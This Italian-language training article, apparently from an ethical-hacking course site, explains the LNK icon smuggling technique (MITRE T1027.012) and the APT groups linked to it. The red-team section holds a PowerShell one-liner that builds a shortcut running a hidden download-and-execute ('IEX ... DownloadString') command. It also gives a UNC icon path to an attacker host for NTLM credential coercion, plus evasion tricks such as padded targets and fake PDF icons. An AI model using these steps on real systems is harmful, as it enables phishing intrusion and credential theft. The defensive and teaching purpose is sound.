Contrabbando via Icona LNK: LNK Icon Smuggling (T1027.012)
La tecnica T1027.012 — LNK Icon Smuggling sfrutta una caratteristica legittima del formato Windows Shortcut (.LNK): il campo IconEnvironmentDataBlock, progettato per specificare il percorso di un'icona da visualizzare per il collegamento. Gli attaccanti abusano di questo metadato per occultare URL che puntano a payload malevoli, aggirando content filter e gateway di posta che ispezionano principalmente il campo target o gli allegati eseguibili.
Nella tassonomia MITRE ATT&CK la tecnica ricade nella tattica TA0005 (Defense Evasion), collocandosi tipicamente tra le fasi di Delivery ed Execution della kill chain. Il file LNK arriva come allegato di phishing o dentro un archivio ISO/ZIP; una volta cliccato, il sistema risolve l'icona scaricando la risorsa remota, mentre il campo target invoca un interprete (cmd.exe, powershell.exe, mshta.exe) o un LOLBin che completa l'esecuzione del payload appena recuperato.
La telemetria MITRE associa alla tecnica 3 gruppi APT (Gamaredon, Kimsuky, Mustang Panda), 1 famiglia malware (TONESHELL) e 2 mitigazioni ufficiali. La ricorrenza nelle operazioni di threat actor sponsorizzati da stato (russi, nordcoreani, cinesi) evidenzia come il vettore rimanga estremamente efficace, soprattutto quando abbinato a icone contraffatte (PDF, Word) che aumentano il tasso di click delle vittime target.
In un ingaggio red team, la generazione di un LNK weaponizzato può essere effettuata con strumenti già presenti nell'arsenale offensivo, sempre in ambiente di laboratorio isolato e con autorizzazione scritta.
Il metodo più diretto è lo script PowerShell nativo che usa WScript.Shell per creare l'oggetto shortcut. Un esempio di catena consiste nel valorizzare TargetPath con un interprete e IconLocation con l'URL remoto:
$w = New-Object -ComObject WScript.Shell; $s = $w.CreateShortcut("$env:TEMP\Report.lnk"); $s.TargetPath = "C:\Windows\System32\cmd.exe"; $s.Arguments = "/c powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('
Quando la vittima visualizza il file in Explorer, il resolver icone tenta il fetch HTTP verso l'endpoint remoto, generando una prima callback utile a validare la consegna prima ancora del click. Al doppio click parte la seconda fase con download del payload.
Per weaponizzazione più strutturata, tool utili in laboratorio:
- Nishang (open source) — collezione PowerShell offensiva con moduli per generazione LNK
- SharPersist (open source) — utility C# che include primitive di creazione shortcut
- lnkbomb (open source) — generatore LNK Python-based con supporto a icone remote UNC
- Cobalt Strike (a pagamento) — dispone di aggregate function per artifact LNK tramite Aggressor Script
Una variante interessante consiste nel puntare IconLocation a un percorso UNC (\\attacker-host\share\icon.ico): l'operazione forza SMB outbound e può innescare NTLM relay o coercizione di credenziali, arricchendo la fase di credential access. In perimetri dove SMB egress è filtrato, HTTP/HTTPS rimane l'opzione affidabile.
Per massimizzare l'evasion, il campo target andrebbe padded con spazi extra (tecnica osservata in Kimsuky) così che l'anteprima Windows mostri solo la porzione benigna, nascondendo argomenti sospetti. Un ulteriore trick di social engineering è impostare un'icona PDF (imageres.dll,-1) su un LNK che invece esegue un binario: pattern documentato per la consegna di TONESHELL da parte di Mustang Panda, dove il click apre un decoy PDF mentre in background parte office.exe.
Durante il test, il team offensivo dovrebbe validare la detection lato blue team confrontando gli alert generati con quelli attesi su Sysmon EventID 1, 3 e 11, così da calibrare la profondità dell'esercizio purple team.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo
2 minuti · 7 domande
Che professionista cyber sei?
Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.